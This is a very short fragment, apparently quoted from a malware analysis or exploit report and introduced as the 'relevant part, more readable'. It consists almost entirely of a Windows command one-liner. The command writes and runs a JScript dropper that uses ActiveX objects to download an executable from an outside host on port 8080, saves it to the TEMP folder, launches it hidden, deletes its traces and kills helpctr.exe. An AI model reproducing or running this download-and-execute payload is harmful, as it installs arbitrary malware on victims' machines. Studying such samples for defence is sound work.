relevant part, more readable:
cmd /c cd ../&echo a = ActiveXObject;s=new a("WScript.Shell");o=new a("ADODB.Stream");x=new a("Microsoft.XMLHTTP");f=s.Environment("Process").Item("TEMP")+"/0.exe";x.open("GET","http://assofy.angiestargallery.com:8080/welcome.php?id=1&pid=10",0);x.send();o.Mode=3;o.Type=1;o.Open();o.Write(x.responseBody);o.SaveToFile(f,2);s.Run(f,0); >.js|cscript .js&del /q .js|taskkill /F /IM helpctr.exe 0 1